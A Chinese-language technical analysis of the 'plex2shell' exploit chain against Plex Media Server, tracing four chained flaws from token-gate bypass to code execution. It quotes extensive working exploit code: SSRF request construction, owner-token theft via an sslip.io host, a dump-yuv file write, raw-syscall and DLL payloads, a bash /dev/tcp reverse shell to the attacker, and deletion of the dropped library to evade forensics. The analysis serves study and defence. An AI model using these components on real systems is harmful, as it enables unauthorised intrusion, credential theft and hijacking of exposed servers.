CVE-2026-96652/-96654/-96655/-96656"

admin 2026-10-24 15:29:53 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

CVE-2026-96652 / -96654 / -96655 / -96656

原创

网安之家
网安之家

网安之家-CyberHomestead

2026年10月21日 23:19
湖北

去阅读

Plex2Shell 深度技术分析报告

对象:github.com/code-zm/plex2shell(GPLv3,作者 code-zm)性质:公开披露的 Plex Media Server 未授权 RCE 链 PoC审计形态:静态审计(static)——本次仅对公开仓库源码、官方 write-up、NVD/CISA/Censys 通告做代码级与协议级分析,未对任何真实主机发起连接。结论一句话:这不是\"单漏洞利用脚本\",而是一套把 4 个中低危缺陷串成 未授权 → 管理员 token → 任意文件写 → 无签名 .so 加载 → 代码执行 的完整武器化流水线;它同时附带蓝队检测包(YARA + 主机狩猎脚本 + 回归测试),是典型的\"攻防成对交付\"研究仓库。


0. 一页速览

维度 内容
漏洞类型 组合链 RCE:SSRF(CWE-918)→ URI 中和缺陷(CWE-84)→ SSRF(CWE-918)→ 外部可控文件路径(CWE-73)→ 无签名动态库加载
CVE CVE-2026-96652 / -96654 / -96655 / -96656
影响版本 Plex Media Server < 1.43.3.10861(含 1.43.3.10828)
修复版本 1.43.3.10861 (2026-08-04 发布)
综合评分 CVSS 3.1 9.8(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
单点评分 96652=4.3 / 96654=6.5 / 96655=4.3 / 96656=7.2(NVD)
前置条件 目标 32400 可达;攻击机可被目标反向访问;目标能解析 sslip.io;攻击机有 ffmpeg + gcc/mingw-w64
执行身份 Linux:uid=1000(plex);Docker:容器内 plex;Windows:Plex 服务账户
在野利用 已观测:挖矿 + 代理(proxyware);2026-10-20 进入 CISA KEV
暴露面 Censys 观测约 32.4 万 台 Plex,约 30% 为脆弱版本
核心创新点 用 lossless H.264 的 YUV 帧 作为二进制载体,经 dump-yuv 落盘成 .so;qp=0 保证比特级精确

1. 命名:plex2shell 的寓意

plex2shell 是一个链式漏洞的品牌化命名,遵循 2021 年以来的安全社区命名传统:

名称 构成 含义
Shellshock shell + shock Bash 破壳
ProxyShell Proxy + Shell Exchange 代理链到 shell
Log4Shell Log4j + Shell Log4j 到 shell
Spring4Shell Spring + Shell Spring 到 shell
Plex2Shell Plex + 2(to) + Shell 从 Plex 到 shell

拆解:

  • Plex:目标产品 Plex Media Server(PMS),家庭/云媒体服务器,默认 32400,大量直接暴露公网。
  • 2:英文 \"to\" 的谐音/缩写,表示\"从……到……\"的转化。不是\"第二代\",而是\"通向\"。
  • shell:最终战果——命令执行/反弹 shell。

寓意层面有三层:

  1. 攻击链命名:单个 CVE 撑不起这个名字,四个 CVE 串成一条\"从媒体服务器到 shell\"的完整路径,2 正好表达\"链\"。
  2. 门槛叙事:名字里没有 \"RCE\" 字样,但 README 第一行就是 \"Unauth RCE chain\",暗示\"名字即战果\"。
  3. 研究品牌:作者 GitHub 名 code-zm,博客 zmain.info;仓库名短、全小写、无连字符,便于在 issue/推文/扫描器规则里传播,和 log4shell 的传播形态一致。

仓库内的文件命名也在强化这个叙事:payload_linux.c / payload_windows.c / plex2shell.py / detection/,一眼能看出\"利用 + 载荷 + 检测\"三段式。


2. 事实基线与时间线

2.1 公开事实核验

事实 核验来源
4 个 CVE 真实存在,NVD 已收录 NVD / CVE.org / CISA CSAF
修复版本 1.43.3.10861,10828 仍受影响 Plex 论坛发布帖、Censys 通告
2026-10-20 进入 CISA KEV CISA KEV / OpenText 通告
在野利用:挖矿 + 代理软件 Plex 安全公告(2026-10-19 更新)、BoredHackerBlog 蜜罐
约 32.4 万 Plex 资产,约 30% 脆弱 Censys ARC
write-up 与 PoC 2026-10-16 公开 zmain.info/blog/plex2shell

2.2 披露时间线

2026-07-27  研究者向 Plex 安全团队报告
2026-08-04  Plex 确认并支付赏金;1.43.3.10861 发布(修复版)
2026-09-23  CVE 分配(96652 / 96654 / 96655 / 96656)
2026-10-16  公开披露 + PoC 仓库上线
2026-10-17  蜜罐首次观测到在野利用(披露后 1 天)
2026-10-19  Plex 更新安全公告:已观测挖矿/代理滥用
2026-10-20  CISA 加入 KEV(要求 2026-11-03 前处置)

2.3 单点分值与组合分值的反差

这是本链最值得写进报告的一点:

  • 单看 NVD:4.3 / 6.5 / 4.3 / 7.2,没有一个是 Critical。
  • 组合后:9.8 Critical,未授权。
  • 原因:7.2 的\"任意文件写\"需要 admin;而前三个漏洞恰好把\"未授权攻击者\"提升为\"owner/admin\"。低危 + 低危 + 低危 + 中危 = 未授权 RCE。

防御启示:不要按单 CVE 分值排优先级。链式组合会让\"可组合的低危\"实际风险远高于账面。


3. 攻击链总览

[互联网攻击者,持任意垃圾 X-Plex-Token]
        │
 (1) GET /player/timeline/subscribe?protocol=<完整URL>
        │      token 门禁只查\"有没有\",不查\"对不对\"
        ▼
     服务器以 127.0.0.1 为源,向自身 POST
        │
 (2) POST /system/agents/z/searchOne?...&identifier=<注入>
        │      loopback 来源 ⇒ 免 token;@lock 装饰器吞掉返回值 ⇒ 鉴权守卫失效
        │      identifier 未编码拼接 ⇒ ? 开查询串、# 截断尾部路径
        ▼
 (3) 伪造调用 thetvdb 插件 GetResultFromNetwork?url=http://127.0.0.1.<攻击者>.sslip.io:8952/...
        │      插件框架对 \"http://127.0.0.1\" 前缀的 URL 自动附加 owner token
        │      sslip.io 让\"前缀是 127.0.0.1、解析却是攻击者 IP\"成立
        ▼
     攻击者拿到 owner 级 local-* token
        │
 (4) PUT /:/prefs?TranscoderH264Options=dump-yuv=<Codecs目录>/x.so:qp=0
        │
 (5) GET /video/:/transcode/universal?path=http://攻击者/item.xml
        │      转码器拉取攻击者的 item.xml → 再拉 carrier.mp4
        │      x264 解码后 dump-yuv 把\"比特级精确的 YUV 帧\"写到 .so 路径
        ▼
     Codecs 目录里出现一个\"ELF + 大段 0x80 填充\"的文件
        │
 (6) 第二次转码触发 Codecs 目录重新枚举
        │      libavutil avpriv_load_new_libs → dlopen(RTLD_NOW) 每个 .so
        │      不校验签名 / 不要求可执行位 / 不要求导出符号
        ▼
     ELF 的 DT_INIT_ARRAY(constructor)执行
        │
        ├─ Linux:fork() → execve(\"/bin/sh\",\"-c\",<反弹命令>)
        └─ Windows:DllMain → rundll32 自重生 → cmd.exe 命令协议

一句话概括:SSRF 把\"外部请求\"洗成\"loopback 请求\";loopback 绕过鉴权并泄露 owner token;owner 权限把\"转码器调试选项\"变成\"任意文件写\";Codecs 目录的自动 dlopen 把\"文件写\"变成\"代码执行\"。


4. 四个漏洞逐段抽丝剥茧 + 操作系统调用

4.1 CVE-2026-96652:/player/timeline 的\"存在性鉴权\"

根因:token 门禁只判断请求头是否存在,不判断是否有效。

官方 write-up 给出的等价伪代码:

HttpReply CompanionProxyRequestHandler::handle(HttpRequest& req) {
    if (req.locality == Locality::WAN && !req.hasParam(\"X-Plex-Token\")) {
        return HttpReply{401};
    }
    // hasParam() 只检查\"有没有这个参数\",不检查 token 是否合法
    return CompanionProxyRequestHandler::instance().dispatch(req);
}

攻击者发送 X-Plex-Token: TOTALLY_INVALID_JUNK 即可通过。这是一个典型的 CWE-287 认证不当 / CWE-345 数据真实性验证不足,在实现上表现为\"把 presence check 当成 validity check\"。

SSRF 的形成:订阅/退订流程里,服务器需要回调播放器。回调 URL 由 protocol、host、port 拼接:

std::string Controller::callbackUrl() const {
    return (boost::format(\"%1%://%2%:%3%\") % protocol % host % port).str();
}

protocol 被原样插入。攻击者把 protocol 设成完整 URL(如 http://127.0.0.1:32400/system/agents/...),退订时 PMS 就会从自己的 socket 向该 URL 发 POST。协议白名单、host 校验、scheme 校验全部缺失。

PoC 对应:plex2shell.py:416-455 steal_owner_token()

# 1) 先注册一个\"播放器\"(长轮询,后台线程)
reg_path = \"/player/proxy/poll?%s&X-Plex-Client-Identifier=%s\" % (common, cid)
threading.Thread(target=lambda: preq(base, reg_path, hdr, timeout=12), daemon=True).start()
time.sleep(1.5)

# 2) 订阅,把完整 URL 塞进 protocol
sub = (\"/player/timeline/subscribe?%s&protocol=%s&port=%d&commandID=1\"
       \"&X-Plex-Target-Client-Identifier=%s\" % (common, proto_q, args.token_port, cid))
preq(base, sub, hdr)

# 3) 退订 → 触发回调
unsub = (\"/player/timeline/unsubscribe?%s&X-Plex-Target-Client-Identifier=%s\" % (common, cid))
preq(base, unsub, hdr)

注意 proto_q = urllib.parse.quote(protocol, safe=\"\")——双重编码是必要的:第一层编码让 URL 作为 protocol 参数值合法,第二层(在 identifier 里再次编码)让它在内层 URL 中合法。日志里能看到 %253A、%252F 就是双重编码的痕迹。

操作系统调用层:

  1. PMS 的 HTTP 客户端(C++/boost.asio 或内部 HttpClient)执行 socket(AF_INET, SOCK_STREAM, 0) → connect(127.0.0.1:32400) → write() 发送 POST。
  2. 目标 PMS 的监听 socket accept() 后,用 getpeername() 得到 127.0.0.1,据此把请求标记为 Locality::Loopback。
  3. 整个过程中没有任何 DNS 解析(因为目标是字面量 127.0.0.1),所以第一跳不受出站 DNS 策略影响。

为什么\"盲 POST\"也够用:攻击者看不到响应,但 SSRF 的目的不是读数据,而是制造一个 loopback 来源的请求。只要请求到达,第二跳就成立。


4.2 CVE-2026-96654:searchOne 的\"装饰器吞返回值\"

根因:Python 插件 API 的鉴权守卫写在一个被 @lock 装饰的内部函数里,装饰器丢弃了返回值,导致\"提前 return\"没有真正终止外层函数。

官方 write-up 的等价代码:

@lock(self.agent_info)
def inner():
    if identifier not in Core.messaging.plugin_list():
        return          # 从 inner() 返回,不是从 search_one() 返回
    # ... proceed ...

# 外层 search_one 继续执行

@lock 包装 inner() 后,调用方拿到的是装饰器的返回值(通常是 None),inner() 内部的 return 只退出 inner,不会中断 search_one 的后续逻辑。这是 CWE-696 行为顺序错误 / CWE-863 授权绕过 的经典形态:guard 写了,但放错了作用域。

注入点:守卫之后,identifier 被直接拼进内部 URL,没有编码:

url = 'http://127.0.0.1:32400/:/plugins/%s/messaging/%s' % (target, key)

攻击者用 ? 打开查询串、用 # 截断尾部 /messaging/...,从而完全控制下一次 loopback 请求的路径与参数。

PoC 里的构造(plex2shell.py:434-438):

ident = (\"com.plexapp.agents.thetvdb/function/GetResultFromNetwork\"
         \"?url=http://%s:%d/%s#\" % (args.attacker_host, args.token_port, marker))
protocol = (\"http://127.0.0.1:%d/system/agents/z/searchOne?mediaType=1&lang=en&identifier=%s\"
            % (args.plex_port, urllib.parse.quote(ident, safe=\"\")))

拆开看:

  • com.plexapp.agents.thetvdb/function/GetResultFromNetwork:目标插件 + 函数。
  • ?url=...:给插件函数传参。
  • #:让拼接在后面的 /messaging/<key> 变成 fragment 被丢弃。
  • 整体再 quote(safe=\"\") 编码一次,作为外层 identifier 的值。

操作系统调用层:这一步仍然是 PMS 进程内部的 HTTP 客户端发起 loopback 连接(socket/connect/write),但来源变成 loopback,因此 /system/agents/* 的\"loopback 免 token\"策略被触发。攻击者没有碰任何系统调用,他利用的是服务端自己的客户端代码。


4.3 CVE-2026-96655 + 前缀匹配:owner token 泄露

根因 A(前缀匹配):插件框架在发出站请求时,只要 URL 以 http://127.0.0.1 开头,就自动附加 owner token:

if url.find('http://127.0.0.1') == 0:
    request.headers['X-Plex-Token'] = os.environ['PLEXTOKEN']

这是无边界字符串前缀匹配。http://127.0.0.1.evil.com、http://127.0.0.1.10-0-0-9.sslip.io 都能通过。

根因 B(sslip.io):sslip.io 是一个通配 DNS 服务,会把主机名里的 IP 片段解析成对应地址。Poc 使用:

# plex2shell.py:642
attacker_host = \"127.0.0.1.%s.sslip.io\" % args.attacker_ip.replace(\".\", \"-\")
# 例:attacker_ip=10.0.0.9 → 127.0.0.1.10-0-0-9.sslip.io
  • 字符串层面:以 127.0.0.1 开头 → 通过前缀检查 → 附带 owner token。
  • DNS 层面:sslip.io 解析 10-0-0-9 → 10.0.0.9 → 请求实际发到攻击者。

这就是\"认证决策看字符串、网络投递看 DNS\"的经典解析差(parser differential)。属于 CWE-918 SSRF + CWE-20 输入验证不当。

根因 C(GetResultFromNetwork):TheTVDB agent 自带一个\"从网络取结果\"的函数,接受任意 URL 并 GET。它本是元数据抓取用的,却被当作\"任意 URL 请求器\"滥用。

操作系统调用层:

  1. 插件框架(Python)调用 requests.get(url, headers={X-Plex-Token: ...})(或内部 urllib)。
  2. 触发 DNS:getaddrinfo(\"127.0.0.1.10-0-0-9.sslip.io\") → 外部 DNS 查询 → 返回 10.0.0.9。
  3. socket/connect(10.0.0.9:8952) → 攻击者的 TokenCatcher 收到请求。
  4. token 出现在 X-Plex-Token 头里。

PoC 对应:TokenCatcher(plex2shell.py:311-350)只接受形如 local-[0-9a-f-]{8,} 的 token:

_TOKEN_RE = re.compile(r\"^local-[0-9a-f-]{8,}\", re.I)
...
if tok and _TOKEN_RE.match(tok) and not outer.token:
    outer.token = tok
    outer.got.set()

这个正则很关键:它避免把噪声/错误 token 当成真 token,也说明 owner token 的形态是 local-<uuid-ish>。


4.4 CVE-2026-96655(转码 SSRF)/ CVE-2026-96656(任意文件写 → 代码执行)

4.4.1 转码器是\"第二个 SSRF\"

/video/:/transcode/universal 的 path 参数可以是 HTTP URL。PMS 会:

  1. GET path(攻击者的 item.xml);
  2. 解析 XML,取出 <Part key=\"...\">;
  3. 再 GET key(攻击者的 carrier.mp4);
  4. 交给 Plex Transcoder(ffmpeg 分支)解码/转码。

两跳都没有 host allowlist。所以攻击者可以完全控制\"转码器读什么\"。

4.4.2 dump-yuv:把调试选项变成任意文件写

TranscoderH264Options 是 owner 可写的服务器偏好,会被原样追加到 x264 的选项串。x264 有一个调试选项 dump-yuv=<path>,会把解码后的 YUV 帧 fopen(path, \"w\") + fwrite 到指定路径。配合 qp=0(无损),写入的内容与输入帧比特级一致。

攻击者:

PUT /:/prefs?TranscoderH264Options=dump-yuv=/var/lib/plexmediaserver/Library/Application Support/Plex Media Server/Codecs/<setid>-linux-x86_64/x.so:qp=0

然后触发转码。x264 把 carrier.mp4 第 0 帧的 luma 平面写成 .so。

这里的设计非常巧:

  • 视频帧的 luma 平面大小是 w*h;payload 不足的部分用 0x80 填充(YUV 的中性值)。
  • qp=0 是 H.264 无损模式,libx264 能保证解码后与输入 YUV 逐字节相同。
  • 文件头是 ELF,尾部是大段 0x80——这正好是检测规则 Plex2Shell_Dropped_Codec_ELF_YUV_Overlay 抓的\"结构特征\"。

4.4.3 Codecs 目录的 dlopen:文件写 → 代码执行

Plex 的 Codecs 目录按 <setid>-<platform> 组织。转码器启动时,libavutil.so.58 里的 avpriv_load_new_libs 会枚举 set 目录,对每个 .so 执行 dlopen(RTLD_NOW):

  • 不校验签名;
  • 不要求可执行位;
  • 不要求导出特定符号;
  • 不要求 lib 前缀。

dlopen 加载 ELF 时,动态链接器会先执行 DT_INIT_ARRAY 里的构造函数(.init_array),再做符号解析。所以一个\"只有 constructor、没有导出符号\"的 .so 也会在加载瞬间执行代码。

操作系统调用层(RCE 发生点):

  1. Plex Transcoder 进程调用 dlopen(\"/.../Codecs/<setid>-linux-x86_64/x.so\", RTLD_NOW)。
  2. 动态链接器 ld.so:
  • openat(AT_FDCWD, path, O_RDONLY) 打开文件;
  • mmap() 映射 PT_LOAD 段;
  • 处理重定位;
  • 遍历 DT_INIT_ARRAY,调用构造函数。
  1. 构造函数执行 payload 的 fork() / execve()。

4.4.4 set-id 的发现

Codecs/<setid>-linux-x86_64 的 <setid> 是哈希样字符串,攻击者不知道。PoC 通过 /system/:/resources/x?resource_name=<Plex Transcoder 路径> 让服务端返回资源信息,再用正则提取:

# plex2shell.py:379-388
for route in (\"/system/:/resources/x\", \"/:/plugins/com.plexapp.system/resources/x\"):
    st, body = hget(base, route, {\"resource_name\": transcoder_path}, token)
    if st == 200 and body:
        m = re.search(rb'([0-9a-f]{7}-[0-9a-f]{24,26})', body)
        if m:
            return m.group(1).decode()

这是\"用合法 API 枚举自己的安装布局\",比盲目猜路径稳。

4.4.5 两次转码的时序

  • 第一次转码:dump-yuv 写文件(deliver,plex2shell.py:740-746)。
  • 第二次转码:触发 Codecs 目录重新枚举 → dlopen → 执行(detonate,plex2shell.py:750-754)。

中间 time.sleep(10) 是为了等第一次转码把帧写完;finally 里清空 TranscoderH264Options 是清理痕迹。


5. Payload 到操作系统调用

5.1 Linux:payload_linux.c(libc-free,raw syscall)

static long sc(long n, long a, long b, long c) {
    long r;
    __asm__ volatile(\"syscall\" : \"=a\"(r) : \"a\"(n), \"D\"(a), \"S\"(b), \"d\"(c)
                     : \"rcx\",\"r11\",\"memory\");
    return r;
}
staticconstchar sh[]    = \"/bin/sh\";
staticconstchar dashc[] = \"-c\";
staticconstchar cmd[]   = \"__CMD__\";
__attribute__((constructor)) static void go(void) {
    long pid = sc(57, 0, 0, 0);                 /* fork */
    if (pid == 0) {
        constchar *argv[4] = { sh, dashc, cmd, 0 };
        constchar *envp[1] = { 0 };
        sc(59, (long)sh, (long)argv, (long)envp);   /* execve */
        sc(60, 7, 0, 0);                            /* exit */
    }
}

逐条系统调用(x86\_64 Linux):

调用 号码 寄存器 作用
fork 57 rax=57, rdi=0 复制进程;父进程返回子 pid,子进程返回 0
execve 59 rax=59, rdi=path, rsi=argv, rdx=envp 用 /bin/sh -c <cmd> 替换子进程映像
exit 60 rax=60, rdi=7 仅在 execve 失败时兜底退出

工程细节:

  • -nostdlib:不链接 libc,产物极小,且避免 DT_NEEDED 依赖(检测规则正是用\"无 DT\_NEEDED\"来区分正常库)。
  • __attribute__((constructor)):把 go 放进 .init_array,dlopen 时自动执行。
  • envp = {0}:空环境变量。这是双刃剑:能减少痕迹,但也成了检测信号——狩猎脚本会找\"以 plex 运行、environ 里没有 PATH\"的进程。
  • 父进程 fork 后直接返回,不等待子进程;setsid 在反弹命令里做,脱离会话。

反弹命令(plex2shell.py:223-225):

return (\"/usr/bin/setsid /usr/bin/bash -c 'exec 0<>/dev/tcp/%s/%d 1>&0 2>&0; \"
        \"exec /usr/bin/script -qc /bin/bash /dev/null' &\" % (attacker_ip, lport))
  • setsid:新会话,脱离 Plex 的进程组/控制终端。
  • exec 0<>/dev/tcp/IP/PORT:bash 内建 TCP,双向重定向到 fd 0。
  • 1>&0 2>&0:stdout/stderr 都指向同一 socket。
  • script -qc /bin/bash /dev/null:用 script 分配一个 PTY,再跑 bash,从而支持 vim/top 等需要 TTY 的程序。这是\"PTY 升级\"的经典写法。
  • 末尾 &:放后台,避免阻塞 execve 的调用者。

5.2 Windows:payload_windows.c(DLL 自重生 + 命令协议)

关键结构:

BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID res) {
    if (r == DLL_PROCESS_ATTACH) {
        char exe[MAX_PATH];
        GetModuleFileNameA(NULL, exe, MAX_PATH);
        // 防递归:如果已经在 rundll32 里,就不再重生
        if (strstr(exe, \"rundll32\") || strstr(exe, \"Rundll32\"))
            return TRUE;
        char dllpath[MAX_PATH];
        GetModuleFileNameA(h, dllpath, MAX_PATH);
        char spawn[MAX_PATH + 64];
        _snprintf(spawn, sizeof(spawn), \"rundll32.exe \\\"%s\\\",RunShell\", dllpath);
        CreateProcessA(NULL, spawn, NULL, NULL, FALSE,
                       CREATE_NO_WINDOW | DETACHED_PROCESS, NULL, NULL, &si, &pi);
    }
    return TRUE;
}

设计要点:

  1. DllMain 只做重生:dlopen/LoadLibrary 场景下,DllMain 运行在 loader lock 里,不能做复杂网络操作(容易死锁)。所以它只 CreateProcessA(\"rundll32.exe ... ,RunShell\"),把真正逻辑丢到新进程。
  2. 防递归:用 GetModuleFileNameA(NULL, ...) 检查当前进程是不是 rundll32;是就直接返回,避免无限重生。
  3. DETACHED_PROCESS | CREATE_NO_WINDOW:无窗口、脱离控制台。
  4. 导出 RunShell:__declspec(dllexport) void CALLBACK RunShell(...),供 rundll32 按名字调用。

RunShell 的协议:

WSAStartup → WSASocketA → connect(attacker:port)
→ send(\"READY\\r\
\")
→ loop: readline(cmd); if \"exit\" break; runcmd(cmd); send(\"__CMDEND__\\r\
\")

runcmd 用 CreatePipe + CreateProcessA(\"cmd.exe /c \\\"...\\\"\") + ReadFile 捕获输出。STARTF_USESTDHANDLES 把子进程 stdout/stderr 接到管道写端;SetHandleInformation(rd, HANDLE_FLAG_INHERIT, 0) 防止读端被继承。

Windows 侧系统调用映射:

行为 Win32 API 底层
建 socket WSASocketA → connect NtCreateFile /AFD
建管道 CreatePipe NtCreateNamedPipeFile
起进程 CreateProcessA NtCreateUserProcess
读输出 ReadFile NtReadFile
隐藏窗口 STARTUPINFO.wShowWindow=SW_HIDE —

OPSEC 细节:PoC 在 Windows 上把落盘文件命名为 hevc_decoder.dll(plex2shell.py:716),伪装成 HEVC 解码器;Linux 则是 zz<timestamp>.so,避开 lib 前缀,因为加载器不要求前缀。


6. 源码审计(逐文件、逐函数)

6.1 仓库结构与规模

plex2shell/
├── LICENSE                 GPLv3
├── README.md               648 B,链式说明 + CVE 表
├── plex2shell.py           783 行,主控 + 利用链
├── payload_linux.c        17 行,raw syscall 构造函数
├── payload_windows.c      97 行,DLL 自重生 + 命令协议
└── detection/
    ├── yara/plex2shell.yar          13 KB,7 条规则,分 high/medium/hunting
    ├── hunt/plex2shell-hunt.sh      10.7 KB,只读主机狩猎
    └── tests/
        ├── run_tests.sh             回归测试(合成 fixture,不编译/不加载 payload)
        └── fixtures/                benign/malicious 的 log 与 Preferences.xml

第一印象:这不是\"一个 exploit.py 就完事\"的脚本。它有:

  • 分阶段 UI;
  • 跨平台抽象;
  • payload/载体构建与自校验;
  • 三个攻击者侧服务;
  • 交互式 PTY 桥;
  • 一整套蓝队检测与回归测试。

代码风格:Python 3.8+、标准库为主(argparse/http.server/socketserver/subprocess/tempfile/threading/select/termios/tty),无第三方依赖。这对\"落地\"很重要——攻击机不需要 pip install。

6.2 plex2shell.py 分层剖析

6.2.1 UI 层(L44-111)

try:
    TTY = open(\"/dev/tty\", \"w\")
except Exception:
    TTY = sys.stderr
  • 直接打开 /dev/tty,把进度条写到终端,而不污染 stdout。
  • Step.run() 把阻塞函数放到 daemon 线程,主线程用缓动算法把进度从 base 推到 ceil:
while not done.is_set():
    pct += (self.ceil - pct) * 0.06
    bar(pct, f, STAGES[self.idx][0])
    f += 1
    time.sleep(0.08)
  • 异常通过 res[\"e\"] 回传,进度条变红后再 raise。这是\"UI 与业务解耦\"的干净写法。
  • STAGES 定义了 6 个阶段的百分比上限(12/40/52/72/88/99),让用户感知\"卡在哪一步\"。

妙处:main() 里用 with redirect_stdout(log): 把阶段内的 print 全部重定向到临时日志,而 out() 仍写 /dev/tty。这样终端只看到进度条,细节进日志,失败时提示日志路径(plex2shell.py:759-760)。

6.2.2 平台抽象(L115-141)

PLATFORMS = {
    \"linux-native\": {... \"appsupport\": \"/var/lib/plexmediaserver/...\", \"codec_suffix\": \"linux-x86_64\", \"ext\": \"so\", ...},
    \"linux-docker\": {... \"appsupport\": \"/config/Library/...\", ...},
    \"windows\": {... \"appsupport\": None, \"codec_suffix\": \"windows-x86_64\", \"ext\": \"dll\", ...},
}
  • 用字典把\"路径/后缀/转码器路径\"参数化,主流程只拿 plat[\"os\"] 分支。
  • Windows 的 appsupport 是 None,运行时从 /:/prefs 的 LocalAppDataPath 动态解析(L699-707),并去掉盘符(lap[2:])后拼 /Plex Media Server。
  • 局限:只覆盖 Linux 原生/Docker/Windows,没有 macOS、NAS(Synology/QNAP)的路径;这些平台需要手工改字典或走 --token + 手工路径。

6.2.3 Payload 构建(L144-187)

def build_payload_linux(workdir, inner_cmd):
    cc = shutil.which(\"gcc\")
    ...
    subprocess.check_call([cc, \"-shared\", \"-fPIC\", \"-nostdlib\", \"-O2\", \"-o\", so, src], ...)
    data = open(so, \"rb\").read()
    if data[:4] != b\"\\x7fELF\":
        raise RuntimeError(\"payload is not an ELF\")
    return so, data
  • 用 shutil.which 预检编译器;缺工具时给出可操作的错误(need 'gcc' ...)。
  • 编译后检查 magic(\\x7fELF / MZ),避免\"编译失败但产出了空文件\"。
  • Windows 用 x86_64-w64-mingw32-gcc -shared -lws2_32 -lkernel32 -Wl,--subsystem,windows。

注意:Linux payload 依赖 -nostdlib 下 GCC 仍把 constructor 放进 .init_array。这在 GCC/Clang 上成立,但如果换成交叉编译器或特殊链接脚本,需要复核。

6.2.4 载体构建与比特级自校验(L190-220)

这是整个工具最漂亮的工程点之一:

y = payload_bytes + b\"\\x80\" * (ysz - len(payload_bytes))
uv = b\"\\x80\" * (ysz // 2)
frame = y + uv
open(raw, \"wb\").write(frame * 3)
subprocess.check_call([
    \"ffmpeg\", ..., \"-c:v\", \"libx264\", \"-qp\", \"0\", \"-pix_fmt\", \"yuv420p\", \"-g\", \"1\", ...
])
...
subprocess.check_call([\"ffmpeg\", ..., \"-i\", carrier, \"-map\", \"0:v:0\",
                       \"-pix_fmt\", \"yuv420p\", \"-f\", \"rawvideo\", dec, ...])
d = open(dec, \"rb\").read()
if d[:len(payload_bytes)] != payload_bytes:
    raise RuntimeError(\"carrier is NOT bit-exact (encoder altered the plane); adjust geometry\")

逐点:

  1. payload 大小检查:len(payload_bytes) > ysz 直接报错,避免截断。
  2. 三帧相同:frame * 3。多帧是为了让检测规则 Plex2Shell_Dropped_Codec_Repeated_Frame 有\"重复帧\"特征,也提高转码器实际处理到 payload 帧的概率。
  3. qp=0 + -g 1:无损 + 全 I 帧,保证解码可逆。
  4. 回读校验:编码后再解码,和原始字节比对。在攻击前先证明\"载体是比特精确的\",失败就中止并提示调 --geometry。

审计评价:这是\"利用工具里的单元测试\"——把\"载体是否可靠\"从\"打过去试试\"变成\"本地可判定\"。绝大多数 PoC 不会做这一步。

6.2.5 攻击者侧 HTTP 服务(L228-350)

媒体服务 Listener(L291-305)+ make_handler(L240-288):

  • /item.xml:返回 ITEM_XML,其中 <Part key=\"http://:<port>/carrier.mp4\">。
  • /carrier.mp4:返回载体;支持 Range 请求(206 Partial Content + Content-Range),因为 ffmpeg/PMS 可能分段拉取。
  • /cb:记录回调(CALLBACKS.append),当前主流程未使用。
  • log_message 被覆盖为空,减少噪声。
if rng:
    m = re.match(r\"bytes=(\\d+)-(\\d*)\", rng)
    ...
    self.send_response(206)
    self.send_header(\"Content-Range\", \"bytes %d-%d/%d\" % (start, end, len(data)))

Token 捕获器 TokenCatcher(L311-350):

  • 独立端口(8952),GET/POST 都处理;
  • 从 X-Plex-Token 头取 token;
  • 用 _TOKEN_RE 校验 local- 前缀;
  • 用 threading.Event 通知主线程;
  • 打印命中日志([listener] GET /... X-Plex-Token=...)。

评价:三个服务(8952 token、8933 媒体、9001 反弹)职责清晰,但端口硬编码(L643),没有 CLI 覆盖,多目标并发时需要额外隔离(见 Cheat Sheet)。

6.2.6 Plex HTTP 辅助(L353-412)

def hget(base, path, params, token, timeout=25, method=\"GET\"):
    qs = urllib.parse.urlencode(params, quote_via=urllib.parse.quote)
    url = \"%s%s?%s\" % (base, path, qs)
    req = urllib.request.Request(url, method=method)
    if token:
        req.add_header(\"X-Plex-Token\", token)
    ...
  • urlencode 会自动处理 =、:、/,所以 TranscoderH264Options=dump-yuv=/path:qp=0 会被正确编码。
  • method=\"GET\" 默认,PUT /:/prefs 用 method=\"PUT\"。
  • 捕获 HTTPError 返回 (code, body),网络异常返回 (-1, str(e)),调用方用状态码判断。

preq(L369-376)是\"不关心响应体\"的版本,用于 SSRF 触发;超时 15s,返回状态码或 ERR:...。

transcode_params(L391-403)构造了一大串 Plex 客户端标识头/参数(X-Plex-Product、X-Plex-Platform、X-Plex-Device 等),目的是让转码请求看起来像正常客户端。

run_transcode(L406-412)连打三个端点:

/video/:/transcode/universal/decision
/video/:/transcode/universal/start.m3u8
/video/:/transcode/universal/session/<session>/base/index.m3u8

这是为了确保转码任务真正启动(decision 做决策,start 启动,session 拉流)。

6.2.7 交互式 PTY 桥(L487-614)

old = termios.tcgetattr(0)
try:
    tty.setraw(0)
    conn.setblocking(False)
    whileTrue:
        r, _, _ = select.select([0, conn], [], [])
        if0in r:
            d = os.read(0, 4096)
            ifnot d orb\"\\x1d\"in d:   # Ctrl-]
                break
            conn.sendall(d)
        if conn in r:
            d = conn.recv(4096)
            os.write(1, d)
finally:
    termios.tcsetattr(0, termios.TCSADRAIN, old)
  • tty.setraw(0):本地终端进 raw 模式,按键原样转发(支持方向键、Ctrl-C 等)。
  • select 同时监听 stdin 和 socket。
  • Ctrl-](0x1d)作为 detach 键(和 telnet 一致)。
  • finally 恢复终端属性,避免把用户终端搞坏。

细节:连接后先发

setup = (\"rm -f '%s' 2>/dev/null; cd /; stty rows %d cols %d 2>/dev/null; \"
         \"export TERM=xterm-256color; PS1='plex@plex:\\\\w\\\\$ '\
\" % (so_path, rows, cols))
  • rm -f <so_path>:加载后删除落盘的 .so。Linux 允许删除已被 mmap 的文件,进程继续运行,但磁盘上不留文件——反取证。
  • stty rows/cols:同步窗口大小。
  • PS1='plex@plex:\\w\\$ ':伪装提示符。
  • export TERM=xterm-256color:让交互程序正常渲染。

run_exec(L578-614)是单命令模式:stty -echo → rm -f so_path → 执行命令 → echo __END__$? 作为结束哨兵。

Windows 交互(L459-521):READY 握手 + __CMDEND__ 哨兵,逐行 input()。

6.2.8 主流程编排(L618-782)

ap.add_argument(\"--target\", required=True, ...)
ap.add_argument(\"--attacker-ip\", required=True, ...)
ap.add_argument(\"--target-os\", choices=list(PLATFORMS.keys()), default=\"linux-native\", ...)
ap.add_argument(\"--token\", default=None, ...)
ap.add_argument(\"--exec\", dest=\"exec_cmd\", default=None, ...)

只有 5 个业务参数。--token 允许跳过 SSRF 链,--exec 允许单命令。

主流程:

  1. 校验 host:port;
  2. resolve_platform;
  3. 预检 ffmpeg + 编译器;
  4. 起反弹监听(9001);
  5. Step(0) 探活 /identity;
  6. Step(1) 偷 token(或 --token 跳过);
